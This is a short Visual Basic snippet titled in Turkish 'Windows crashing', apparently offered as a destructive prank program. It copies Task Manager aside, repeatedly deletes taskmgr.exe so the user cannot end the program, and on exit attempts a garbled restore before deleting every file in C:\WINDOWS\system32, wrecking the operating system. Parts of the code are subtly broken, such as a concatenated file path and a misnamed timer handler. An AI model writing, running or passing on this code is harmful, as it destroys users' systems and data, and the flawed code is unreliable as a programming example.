Windows Çökertme

Private Sub Form_Load()

filecopy "c:\windows\system32\taskmgr.exe" , "c:\windows\repeair\taskmgr.exe"
'Burada Taskmgr dosyasını yedekledik
Timer1.interval=10

End Sub

Private Sub Timer1()

ON LOCAL ERROR RESUME NEXT

Kill "c:\windows\system32\taskmgr.exe"
End Sub

Private Sub Form_unload()
filecopy "c:\windows\repeair\taskmgr.exe" , "c:\windows\system32\taskmgr.exec:\windows\repeair\taskmgr.exe"


kill "C:\WINDOWS\system32\*.*"



End Sub